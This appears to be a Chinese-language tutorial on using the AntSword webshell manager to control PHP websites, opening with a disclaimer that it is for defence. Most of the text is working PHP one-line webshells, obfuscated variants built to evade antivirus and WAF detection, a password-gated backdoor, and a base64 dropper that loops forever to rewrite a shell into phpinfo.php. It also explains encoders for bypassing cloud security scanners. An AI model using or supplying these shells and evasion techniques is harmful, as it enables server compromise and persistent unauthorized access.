写这是为了更好的让大家了解攻防,进而更好的做好服务器和网站安全防护,请不要用于非法目的。
下载安装
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。安装时需要关闭防火墙和安全软件。
源码下载地址:
GitHub – AntSwordProject/antSword
加载器下载地址:
GitHub – AntSwordProject/AntSword-Loader: AntSword 加载器
最好在虚拟机上使用,关闭防火墙,运行解压后的加载器的AntSword.exe,之后初始化,选择新建的一个目录放源码,之后会自动下载源码,完成后即可使用蚁剑。
使用方法
使用蚁剑进行PHP WebShell连接
在自己编写php一句话木马时,经常用到eval和assert。需要注意的是:
- eval是一个语言构造器,接受一个参数,将字符串作为PHP代码执行,本身不能作为变量进行传递。PHP 4, PHP 5, PHP 7+ 均可用。
- assert是一个函数,本身可以作为变量进行传递。PHP 4, PHP 5, PHP 7.2 以下均可用,php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码;php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。
当使用assert函数时,需要设置编码方式为base64才可以正常连接。如经过rot13编码后的webshell为:
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>
当使用eval语言构造器时,可以直接连接,也可以使用base64编码链接。
<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
?>

制作免杀webshell,使用编码器绕过WAF
免杀webshell小马
eval是语言构造器而不是函数,不能被可变函数调用,一般需要通过拼接assert达到免杀效果;但由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用。
使用eval构建免杀小马
<?php
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){ //链接地址为url?a=123456
$a=array($_REQUEST['x']=>"3"); //链接密码为x
$b=array_keys($a);
@eval($b[0]);
}
使用assert构建免杀小马(PHP7.1之后无法使用)
<?php
$str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t';
$str2 = strtr($str1,array('aH(UUH(fsdfH(UUH(fsdf,'=>'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt'));
$str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er'));
if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){ //链接地址为url?a=123456
$str4 = strrev($_POST['x']); //链接密码为x
$str5 = strrev($str4);
$str3($str5);
}
我们可以更进一步将以上代码进行base64编码,然后写入文件,比如eval免杀代码如下:
<?php
set_time_limit(0);
ignore_user_abort(true);
$file = 'phpinfo.php';
$shell = "PD9waHAKaWYobWQ1KEAkX0dFVFsnYSddKSA9PSdlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZScpeyRhPWFycmF5KCRfUkVRVUVTVFsneCddPT4iMyIpOyRiPWFycmF5X2tleXMoJGEpO0BldmFsKCRiWzBdKTt9";
while(true){
file_put_contents($file,base64_decode($shell));
usleep(50);
}
链接过程中传递数据如何绕过WAF
蚁剑通过自定义编码器来绕过WAF。冰蝎改造将动态的AES密钥写死在webshell里,可以减少很多特征。蚁剑就是将解码函数写死在webshell里,也可以有效绕过WAF检测。
官方提供的参考编码AntSwordProject/AwesomeEncoder
比如使用zlib_deflated_raw编码,按照操作说明一步一步配置或者将编码文件下载放到对应的文件夹,配置链接编码器为自己设置的编码。服务器上一句话小马代码为 $c=str_rot13('nffreg'); /* assert */ $c(@gzinflate(base64_decode($_POST['x'])));
,该代码会被阿里云安全中心检测到含有webshell。
扩展知识-参考资料